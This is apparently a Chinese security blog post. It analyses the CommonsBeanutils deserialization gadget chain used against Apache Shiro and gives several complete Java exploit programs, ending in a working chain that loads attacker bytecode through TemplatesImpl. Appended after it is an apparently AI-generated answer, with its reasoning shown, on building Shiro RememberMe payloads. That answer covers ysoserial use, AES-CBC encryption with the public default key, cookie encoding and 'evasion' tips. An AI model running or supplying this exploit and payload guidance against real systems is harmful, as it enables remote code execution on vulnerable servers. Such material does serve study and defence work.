Java反序列化-CommonsBeanutils无依赖打Shiro

说明

      如果您之前未了解过 Commons Collections(CC)利用链,建议您先阅读相关基础文章,然后再回头阅读此文章。这样可以更好地理解其中的内容

Java反序列化-Commons Collections3利用链分析详解

Java反序列化-Commons Collections4利用链详解

什么是Java Bean?

      Java Bean 本质上是一种 Java 规范:必须包含一个无参构造方法;类的属性需私有化,并通过相应的 get、set 方法访问,且方法命名需遵循 getXxx() 格式

public class User{
    private String name;
    private boolean active;

    // 无参构造器
    public User() {}

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public boolean isActive() {
        return active;
    }

    public void setActive(boolean active) {
        this.active = active;
    }
}

      而我们要分析的 Commons Beanutils 作为 Java Bean 的增强版本,提供了更多工具类,从而使 Java Bean 相关操作的调用更加便捷

public static void main(String[] args) {
    User user = new User();
    //设置属性值
    PropertyUtils.setProperty(user, "name", "Bob"); 
    PropertyUtils.setProperty(user, "age", "30");

    //获取属性值
    String name = PropertyUtils.getProperty(user, "name");
    String ageStr = PropertyUtils.getProperty(user, "age");
}

测试环境

  • JDK 8u65
<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.8.3</version>
</dependency>
<dependency>
    <groupId>commons-logging</groupId>
    <artifactId>commons-logging</artifactId>
    <version>1.2</version>
</dependency>

无依赖利用链

      CB 链与 CC4 链的构造思路类似,均通过反序列化触发比较器操作。但 CB 链的核心在于使用 commons-beanutils 的 BeanComparator 替代 CC4 中的 TransformedComparator。当反序列化后的 BeanComparator 执行 compare() 方法时,会通过 PropertyUtils.getProperty() 反射调用目标对象的特定 getter 方法(如 TemplatesImpl.outputProperties),从而触发恶意代码执行

PropertyUtils.getProperty

      我们先来分析一下 PropertyUtils.getProperty 传入数据都做了些什么

      跟进 PropertyUtils.getProperty 方法,发现它调用了 PropertyUtilsBean 类中的 getProperty 方法,继续深入跟进

      继续跟进 getNestedProperty 方法

    public Object getNestedProperty(Object bean, String name)
            throws IllegalAccessException, InvocationTargetException,
            NoSuchMethodException {

        if (bean == null) {
            throw new IllegalArgumentException("No bean specified");
        }
        if (name == null) {
            throw new IllegalArgumentException("No name specified for bean class '" +
                    bean.getClass() + "'");
        }

        // Resolve nested references
        while (resolver.hasNested(name)) {
            String next = resolver.next(name);
            Object nestedBean = null;
            if (bean instanceof Map) {
                nestedBean = getPropertyOfMapBean((Map) bean, next);
            } else if (resolver.isMapped(next)) {
                nestedBean = getMappedProperty(bean, next);
            } else if (resolver.isIndexed(next)) {
                nestedBean = getIndexedProperty(bean, next);
            } else {
                nestedBean = getSimpleProperty(bean, next);
            }
            if (nestedBean == null) {
                throw new NestedNullException
                        ("Null property value for '" + name +
                        "' on bean class '" + bean.getClass() + "'");
            }
            bean = nestedBean;
            name = resolver.remove(name);
        }

        if (bean instanceof Map) {
            bean = getPropertyOfMapBean((Map) bean, name);
        } else if (resolver.isMapped(name)) {
            bean = getMappedProperty(bean, name);
        } else if (resolver.isIndexed(name)) {
            bean = getIndexedProperty(bean, name);
        } else {
            bean = getSimpleProperty(bean, name);
        }
        return bean;

    }

      这里对传入的 bean 类型进行判断,如果不符合前三个 if 判断的类型,就会进入 getSimpleProperty 方法。正常情况下,我们不会传入 Map 类型的数据,因此在大多数情况下,依然会执行 getSimpleProperty 方法。继续跟进 getSimpleProperty 方法

      最终,传入的 bean 会通过反射机制被调用执行。到这里,getProperty 方法的执行流程分析完了

      反射调用 getter 本身不会直接导致代码执行,因此需要找到一个既符合 JavaBean 规范又包含危险操作的方法

      结合之前分析的 CC4 利用链,我们可以使用 TemplatesImpl 类。TemplatesImpl 的 getOutputProperties 方法符合 JavaBean 规范,并且其内部会调用 newTransformer 方法,该方法会加载恶意字节码,从而触发代码执行

      (CC3 中的类加载执行恶意代码,这里就不再分析了,如果不太理解可以先看看前面的 CC3/CC4 分析)

构造EXP

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.BeanUtils;
import org.apache.commons.beanutils.PropertyUtils;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;

public class test {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();

        byte[][] code = {Files.readAllBytes(Paths.get("F:\\Java开发目录\\cbtest\\target\\classes\\org\\example\\Calc.class"))};

        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "nb666");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        PropertyUtils.getProperty(templates,"outputProperties");

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

BeanComparator.compare

      刚才已经证实这条链是可行的,那么接下来回到 PropertyUtils.getProperty,查找有哪些地方调用了 getProperty。前面已经提到过相关内容,所以这里直接跟进 BeanComparator 类

      在 compare 方法中调用了 PropertyUtils.getProperty,并传入了 o1 和 property。因此,我们可以将 o1 设为 TemplatesImpl 类,并将 getOutputProperties 传给 property,使其调用该方法,从而触发代码执行

      接下来查找 compare 方法的调用位置。事实上,这里不需要继续查找,因为在 CC4 链中,反序列化是通过 PriorityQueue(优先队列)触发的,而 PriorityQueue 在操作过程中会调用 compare,从而形成这条利用链。不清楚的可以参考下之前的 CC4 分析

构造完整EXP (坑)

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.BeanUtils;
import org.apache.commons.beanutils.PropertyUtils;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class test {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();

        byte[][] code = {Files.readAllBytes(Paths.get("F:\\Java开发目录\\cbtest\\target\\classes\\org\\example\\Calc.class"))};

        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "nb666");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        BeanComparator beanComparator = new BeanComparator();

        PriorityQueue<Object> queue = new PriorityQueue<Object>(beanComparator);

        queue.add("1");
        queue.add("2");

        // add之后再反射改回来避免提前触发
        setFieldValue(beanComparator,"property","outputProperties");
        setFieldValue(queue,"queue",new Object[]{templates, templates});

        serialize(queue);
        unserialize("ser.bin");

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}

解决没有CC依赖报错问题

      这里报错提示没有 commons.collections 这个依赖,但我们实际上并没有用到它 

      再仔细一看,发现报错出现在第 26 行,直接跟进 BeanComparator,查看它的无参构造方法执行了什么操作

      在调用无参构造时,property 默认被赋值为空,随后执行到第 81 行,调用了 CC 里的一个方法。由于这里没有导入 CC 依赖,因此导致报错

      接着往下翻,发现这里有一个带参数的构造方法,可以传入一个 Comparator

      跟进 Comparator 进行查看,发现它是一个接口,如果想让代码成功反序列化,我们就需要找到一个同时实现了 Comparator 和 Serializable 的类

      这里懒得自己找了,直接问 DeepSeek 就行了 (DeepSeek YYDS)

构造终极EXP

      直接将 String.CASE_INSENSITIVE_ORDER 传入 BeanComparator 即可

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.BeanUtils;
import org.apache.commons.beanutils.PropertyUtils;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class test {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();

        byte[][] code = {Files.readAllBytes(Paths.get("F:\\Java开发目录\\cbtest\\target\\classes\\org\\example\\Calc.class"))};

        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "nb666");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        BeanComparator beanComparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);

        PriorityQueue<Object> queue = new PriorityQueue<Object>(beanComparator);

        queue.add("1");
        queue.add("2");

        // add之后再反射改回来避免提前触发
        setFieldValue(beanComparator,"property","outputProperties");
        setFieldValue(queue,"queue",new Object[]{templates, templates});

        serialize(queue);
        unserialize("ser.bin");

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}

      成功弹窗,六百六十六

总结

PriorityQueue.readObject() -> heapify()
  heapify() -> siftDownUsingComparator()
    siftDownUsingComparator() -> compare()
      compare() -> BeanComparator.compare()
        BeanComparator.compare() -> PropertyUtils.getProperty()
          PropertyUtils.getProperty() -> TemplatesImpl.getOutputProperties()
            TemplatesImpl.getOutputProperties() -> TemplatesImpl.newTransformer()
              TemplatesImpl.newTransformer() -> TemplatesImpl.getTransletInstance()
                TemplatesImpl.getTransletInstance() -> defineTransletClasses()

<think>嗯,用户想知道Shiro反序列化漏洞中Payload生成的过程,特别是构造方法和原理。首先,我需要回忆一下Shiro反序列化漏洞的基本知识。Shiro在记住我功能中使用加密的序列化数据,而攻击者可能利用弱密钥或已知密钥来构造恶意对象。 首先,Payload生成的关键步骤应该包括反序列化利用链、加密和编码。我记得Shiro550和721的区别,550是已知密钥,而721需要Padding Oracle攻击。用户的问题可能更关注Shiro550的情况,因为这是比较常见的。 接下来,构造Payload的过程大概分为几个阶段:生成恶意对象、序列化、加密(AES-CBC)、Base64编码。需要确保每一步都正确,比如选择正确的利用链,比如CommonsBeanutils或者JRMPClient,然后进行序列化。加密时要注意密钥是否正确,因为如果密钥不正确,Shiro解密会失败,无法触发反序列化。 可能还需要提到加密模式,比如AES-CBC和填充方式,这里可能会有Padding Oracle的问题,特别是在Shiro721中。不过用户的问题可能更侧重于生成Payload的构造方法,所以需要详细说明每一步的具体操作,比如如何用ysoserial生成Gadget,然后使用密钥加密,再进行Base64编码,最后设置到Cookie中。 同时,要引用提供的参考资料,比如引用[2]中的解密过程,以及引用[4]中的密钥碰撞问题。还要注意漏洞的影响版本,比如引用[1]提到的CVE-2022-32532,但用户的问题主要关于反序列化,所以可能需要区分不同的CVE。 最后,要确保回答结构清晰,分步骤解释,并生成相关问题。可能需要检查是否有遗漏的步骤,比如密钥获取的方式,或者不同利用链的选择。另外,要提醒用户实际测试需要合法授权,避免法律问题。</think>### Apache Shiro 反序列化漏洞 Payload 构造方法及原理 #### 一、漏洞背景 Apache Shiro反序列化漏洞(如 CVE-2016-4437/Shiro550)源于其“记住我”(RememberMe)功能的加密流程缺陷。攻击者通过构造恶意序列化数据,结合已知密钥或加密模式漏洞,可实现远程代码执行[^1][^2]。 #### 二、Payload 构造核心步骤 1. **利用链选择** 使用反序列化利用链(Gadget Chain)生成恶意对象,例如: - `CommonsBeanutils1`(依赖特定版本库) - `JRMPClient`(利用远程类加载) ```python # 示例:通过ysoserial工具生成Payload java -jar ysoserial.jar CommonsBeanutils1 "命令" > payload.bin ``` 2. **序列化与加密** Shiro 使用 AES-128-CBC 模式对序列化数据加密,需以下步骤: - **序列化**:将恶意对象转换为字节流 - **填充**:按 PKCS5/PKCS7 标准填充至块大小整数倍 - **加密**:使用硬编码或泄露的密钥加密 ```python # 伪代码:AES-CBC加密流程 iv = random(16 bytes) cipher = AES.new(key, AES.MODE_CBC, iv) ciphertext = cipher.encrypt(padded_data) ``` 3. **编码与传输** 加密后的数据通过 Base64 编码后植入 Cookie: ```python rememberMe = base64.b64encode(iv + ciphertext) ``` #### 三、关键原理分析 1. **密钥硬编码问题** Shiro 默认密钥 `kPH+bIxk5D2deZiIxcaaaA==` 公开,攻击者可碰撞其他弱密钥[^4]。 2. **加密模式缺陷** AES-CBC 模式若未正确校验填充,可能被用于 Padding Oracle 攻击(如 Shiro721)[^3]。 3. **反序列化触发点** Shiro反序列化前会解密数据并调用 `ObjectInputStream.readObject()`,导致恶意代码执行。 #### 四、防御规避技术 1. **密钥混淆**:利用多个密钥生成 Payload 尝试绕过 2. **流量伪装**:通过合法 Cookie 结构隐藏恶意 Payload 3. **利用链组合**:结合依赖库特性构造无回显攻击链
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值